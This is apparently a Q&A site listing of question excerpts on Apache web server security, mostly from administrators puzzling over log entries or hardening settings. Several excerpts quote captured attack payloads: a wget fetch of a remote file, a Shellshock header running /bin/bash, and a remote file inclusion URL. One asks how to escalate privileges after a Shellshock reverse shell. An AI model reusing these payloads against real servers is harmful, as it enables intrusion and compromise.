Questions about the security of Apache open source software, especially Apache HTTP Server

learn more… | top users | synonyms

5
votes
1answer
1k views

What on earth is this log entry in Apache?

error.log - Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8g mod_fastcgi/2.4.6 mod_fcgid/2.3.4 [Mon Oct 10 22:35:18 2011] [error] [client 91.212.226.95] (36)File name too long: access to ...
5
votes
5answers
574 views

How to secure test/dev environments from outside world?

I would like to set up a security barrier to my test/dev environments. I'm under a more or less typical LAMP on dedicated servers. Thing is, I have some facebook apps, a widget for other devices, and ...
5
votes
1answer
1k views

Blacklist IP addresses based on number of 404s in Apache

I'm getting a lot of hackers spamming my domain with requests for files that just don't exist. This is eating up a lot of my allotted bandwidth and I'd like to blacklist these IP addresses. Is there ...
5
votes
2answers
5k views

Escalating from Apache shell to root

I have one noob question.I tried to exploit shellshock on my Slackware linux server, but after I connect with reverse shell and User Agent I get that I am apache user and apache user don't have too ...
5
votes
2answers
3k views

url from another domain in my access log

Most of the time when I am looking for 404 errors in my access.log, I see attempts to access something like /phpMyAdmin/scripts/setup.php. This does not bother me so much, but few days ago I was ...
5
votes
1answer
2k views

Use Client Certificate using Self Signed CA while using Web Certificate of a publicly trusted CA

I would like to ask if it is possible to use different CA for the client certificate and the web certificate? For example, I would use Verisign to sign my web certificate while I use my Self Sign ...
5
votes
1answer
504 views

Securely Store Credentials for Web Application Services in Apache

We are running a web application in python using wsgi with apache2, and must submit to a penetration test. The testers will be exploring the potential for damage if the attackers gain shell access as ...
5
votes
1answer
59 views

HSTS Strict Transport Security: Include base domain

I configured my apache webserver to use HSTS Strict Transport Security. If my domain is example.com, most people visit my website over the subdomain www.example.com. Hence, Strict Transport Security ...
5
votes
1answer
231 views

Apache webserver behind firewall is a victim of proxy abuse and cannot use fail2ban to solve it

We have a new client with a webserver that's getting too much proxy abuse. The access_log is filled with these kind of lines: 64.187.XXX.XXX - - [12/May/2015:10:32:10 -0300] "GET ...
5
votes
1answer
502 views

Using sudo to secure git deployment via web script

I'm setting up a server to do automatic deployment from a Bitbucket git repository, using Bitbucket's postback facility. Briefly, how it works it: I commit to Bitbucket Bitbucket POSTs to a ...
4
votes
2answers
390 views

I think my site was hacked. Can someone explain the “GET / HTTP/1.0” garbage in my Apache log, and what it's doing?

Please see below the log entry from the hack, I have decoded the base_64 code and ultimately some files are dropped onto the server and a directory listing becomes available among other niceties! ...
4
votes
2answers
4k views

How to get site's 'real' URL (before being rewritten)

If a site uses .htaccess file to rewrite the URL for e.g. better SEO. Is it possible to find out what is the "real" URL?
4
votes
1answer
1k views

172.16.33.197, 127.0.0.1 IP addresses in visitor logs

I have a website running Apache and PHP. I see that there are visitors with IP addresses 172.16.33.197 and 127.0.0.1. These addresses do not belong to our network. I get the visitor IP addresses with ...
4
votes
4answers
104 views

Secure environment for servers with sensitive private data

I am developing a web application that will expose a public API to the world, but will store very, very sensitive personal, private data. Having the content hacked would be fatal. I will be using the ...
4
votes
2answers
339 views

How should I block unwanted domain names? [duplicate]

I have noticed that someone pointed his domain to my dedicated IP address and now my website can be viewed using his domain name @ example.com . This can hurt my SE Traffic and SEO in many ways. How ...
4
votes
3answers
1k views

Is web app safe in not public folder?

I'am wondering if it's really safe to use this structure of my web application. WEBAPP Application Controllers Models Views ... Framework ... ...
4
votes
3answers
540 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
4
votes
1answer
1k views

Does installing Apache on my local machine create new security risks?

I am developing a small LAMP online app, and so far I have been doing all the development online. I am considering installing Apache/PHP/MySQL on my Ubuntu machine to be able to develop locally as ...
4
votes
2answers
338 views

What is this strange GET request (GET /A0A32579-2767) DoSed my apache?

I have apache behind nginx on my webserver. Today my apache stops answering to requests. Investigations shows this situation: Number of apache processes grows more that 500 but MaxChildren=256 in ...
4
votes
1answer
266 views

Are we under hacker control?

We have a Web Server that mount Centos. Onto that WS there is an Apache (version 2.2.3) and some sites. You can log on only if you have a certificate (for root user) or via ftp (a restricted ...
4
votes
1answer
67 views

What attacks new Apache 2.0 vulnerable to?

I am new to Security field and still learning how all the attacks works. for my testing, I have implemented Apache 2.0 on a Cent OS virtual machine. I have created another machine using FreeBSD, ...
4
votes
3answers
1k views

Apache logs, suspicious logging apach0day

today I received this 16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day" so with ...
4
votes
2answers
349 views

If Apache is configured to parse PHP can users see PHP source code?

If Apache is configured to parse PHP and not allow to index files, are there other ways users can see PHP source code, either with or without intention?
4
votes
2answers
304 views

Security benefits by loading modules statically in Apache server

In Apache httpd webserver there are two ways to load modules into the server, static and dynamic. There are some modules which must be loaded static, e.q. mod_so and core. The mod_so must be ...
4
votes
2answers
177 views

Security implications of storing email attachments on Centos Server

There is an application I am working on which requires processing the incoming mails to cs@company.com. The company.com mail accounts are being run via Google Apps for Business. So I fetch the ...
4
votes
1answer
32 views

Is it alright to put .htpasswd in the protected directory if there's just one user?

I'm setting up a directory on an Apache server protected with mod_authn_file. The docs for AuthUserFile say not to put the .htpasswd file in the protected directory: Make sure that the ...
4
votes
0answers
2k views

Apache vs Jetty with regard to Security [on hold]

I am trying to design the architecture of an app that will run on an AWS Linux AMI, inside of a Docker container. The app will deal with sensitive financial data, so security is top priority. The app ...
4
votes
0answers
215 views

CRL check for TLS client certificate on Linux?

I run a HTTPS web service. Clients authenticate using a TLS Client Certificate. How do I configure a standard Linux web server (preferably Apache) to validate client certificates against their CRLs? ...
3
votes
3answers
2k views

HTTPS Apache2 Information Leakage

Hello IT Security! I have Apache2 vhost with HTTPS listening on port 443, ie. https:// securesecret.com. I have another vhosts with HTTP listening on port 80, ie. http:// one.com, http:// two.com. ...
3
votes
4answers
556 views

Safari downloaded my php source once. Should I worry?

I uploaded via ftp, then typed in the URL of the script to Safari; Safari downloaded the source!! This hosting site has never done that before - .php scripts have always executed. I can't duplicate ...
3
votes
3answers
489 views

iptables rule to ban and redirect malicious traffic

I'm running Apache 2 and after analysing the access_log I discovered that my website is visited more than 800 times a day (today 924) from majestic.co.uk bot. The bot use this range of IP addresses: ...
3
votes
3answers
2k views

Strange GET requests to my Apache Web Server?

A few days ago, my Apache web server was hit with get requests, many of which had strange escape sequences. Can someone read the following sample log entries and explain what the person tried to do, ...
3
votes
2answers
121 views

My Apache server is regularly challenged with vulnerability attacks: Do I need to worry?

When I look into my access logs: I find a lot of suspicious activity that looks like attempts to gain administrative access to my system using vulnerabilities from known web software products such as ...
3
votes
3answers
670 views

Error message in Apache logs shows /bin/bash and wget

I am wondering if my server is compromised or not I just looked at my log and seen the following line in there [Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client ...
3
votes
2answers
383 views

Website security checklist?

I'm building a web service (a control panel for clients) (PHP on linux apache) and trying from the design to make it the most secure as I can, Can anyone provide me with some kind of a check-list of ...
3
votes
1answer
333 views

What kind of requests are those?

I receive a lot of requests like this: ip-10-80-XXX-XXX.eu-west-1.compute.internal:80 110.249.208.XXX - - [11/Dec/2013:10:27:17 +0000] "GET ...
3
votes
1answer
204 views

Strange apache log line [duplicate]

I just came across this entry on one of my servers: 213.165.70.245 - - [17/Jun/2015:01:58:22 +0200] "GET / HTTP/1.1" 404 442 "() { :;}; /bin/bash -c \"echo 109.234.106.8/ > ...
3
votes
1answer
4k views

Logging out of Basic HTTP Authentication

As seen on https://stackoverflow.com/questions/233507/how-to-log-out-user-from-web-site-using-basic-authentication, there are some interesting ways of logging out a user from Basic HTTP ...
3
votes
2answers
460 views

Securing Java web services called by web site in DMZ using web services for communication

Suppose you have an application running Java web services in Apache Axis 2. Specifically, these are JAX-WS (Java API for XML-Based Web Services). Currently these web services are on the same Windows ...
3
votes
2answers
2k views

How to counter or fix banner grabbing vulnerability

During an audit i came across banner grabbing findings,and would like to know how to mitigate that on IIS and apache server.
3
votes
1answer
69 views

Hosting multiple websites securely

Surprisingly I couldn't find any related topics here, so I'll put this up. I have multiple websites running on the same server, built with various CMS's and frameworks. I need to completely isolate ...
3
votes
1answer
80 views

Unusual potential vulnerability scan results in Apache logs

Recently I've been seeing entries similar to the following in my Apache access logs. I've replaced the IP address and time with Xs: access_log:xx.xx.xx.xx - - [xx/xx/xx:xx:xx:xx -0100] "GET ...
3
votes
1answer
453 views

Is my server being used as a proxy or being attacked?

I have an Ubuntu, Apache, Passenger, and Rails 4 project on AWS EC2. I am unfamiliar with the security and server side of my project. Recently, my site was down because of "too many users" so when I ...
3
votes
3answers
670 views

Shared hosting mail server, Thunderbird and encryption

In spite of much searching on the internet, I can't really get an adequate understanding of this topic, perhaps because it combines multiple elements. As a result, I'm really worried about the state ...
3
votes
1answer
12 views

Is this HSTS header set correctly in LAMP?

I have a LAMP server and my SSL certificate provider recommended me to set HSTS header as follows. I am wondering about two things. Header always set Strict-Transport-Security "max-age=63072000; ...
3
votes
1answer
155 views

CVE-2015-4852: Infected traffic pattern

Assuming that my Weblogic server is compromised by this vulnerability, what would the traffic pattern look like? I'm assuming I would see HTTP requests attempting to make connections directly from ...
3
votes
2answers
803 views

Techniques for enumerating enabled apache modules

A common issue noted by security testers is that the Apache web server is reporting a version in headers which is older than the latest available one. This usually leads to CVE listings detailing the ...
3
votes
0answers
92 views

One-time mystery redirect from one of our pages

I'll make the explanation of the situation as thorough as I can, and the question is at the bottom. Recently, we received a report from one of our users that, immediately after logging out of our ...
3
votes
0answers
73 views

What is the best way to lock down web service access permissions?

After everything what I did in order to protect my server, i have uploaded webshell (WSO 2.1 Web Shell) , to see how far can hacker go and gues what, I was shocked, because I was able to read very ...
3
votes
0answers
208 views

Has HTTP bogus request type “COOK” been used in any known website attacks?

An apache web server access weblog shows a request type "COOK" where POST or GET are normally found. Is such a request part of any known web-based site attacks?